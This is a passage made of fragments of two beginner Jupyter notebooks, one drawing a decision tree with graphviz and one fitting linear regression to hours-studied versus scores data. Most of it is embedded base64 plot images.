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", - "text/plain": [ - "" - ] - }, - "execution_count": 22, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "from six import StringIO \n", - "from IPython.display import Image \n", - "from sklearn.tree import export_graphviz\n", - "import pydotplus\n", - "\n", - "# Visualize the graph\n", - "new_column=df.select_dtypes(include=float).columns\n", - "dot_data = StringIO()\n", - "export_graphviz(dt, out_file=dot_data, feature_names=new_column, \n", - " filled=True, rounded=True,\n", - " special_characters=True)\n", - "graph = pydotplus.graph_from_dot_data(dot_data.getvalue()) \n", - "Image(graph.create_png())" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.8" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} diff --git a/Add Code Here/IPYNB/Machine Learning Tutorial/Prediction using Supervised ML.ipynb b/Add Code Here/IPYNB/Machine Learning Tutorial/Prediction using Supervised ML.ipynb deleted file mode 100644 index 5870ded5514..00000000000 --- a/Add Code Here/IPYNB/Machine Learning Tutorial/Prediction using Supervised ML.ipynb +++ /dev/null @@ -1,378 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "8466a86b", - "metadata": {}, - "source": [ - "# Importing Libraries" - ] - }, - { - "cell_type": "code", - "execution_count": 1, - "id": "83cc7845", - "metadata": {}, - "outputs": [], - "source": [ - "import pandas as pd\n", - "import numpy as np\n", - "from sklearn.model_selection import train_test_split\n", - "from sklearn.metrics import accuracy_score\n", - "from sklearn.linear_model import LinearRegression \n", - "import matplotlib.pyplot as plt\n", - "import seaborn as sns" - ] - }, - { - "cell_type": "markdown", - "id": "3ec2d63a", - "metadata": {}, - "source": [ - "# Reading Data File" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "id": "bf98323d", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
HoursScores
02.521
15.147
23.227
38.575
43.530
\n", - "
" - ], - "text/plain": [ - " Hours Scores\n", - "0 2.5 21\n", - "1 5.1 47\n", - "2 3.2 27\n", - "3 8.5 75\n", - "4 3.5 30" - ] - }, - "execution_count": 2, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df=pd.read_csv(\"C:\\\\Users\\\\ankit\\\\Documents\\\\Project Files\\\\Student percentage per hr.csv\")\n", - "df.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "id": "f92496ef", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Hours 0\n", - "Scores 0\n", - "dtype: int64" - ] - }, - "execution_count": 3, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.isnull().sum()" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "id": "8043f5ab", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(25, 2)" - ] - }, - "execution_count": 4, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.shape" - ] - }, - { - "cell_type": "markdown", - "id": "f1574d93", - "metadata": {}, - "source": [ - "# Data Visualization" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "id": "613638c3", - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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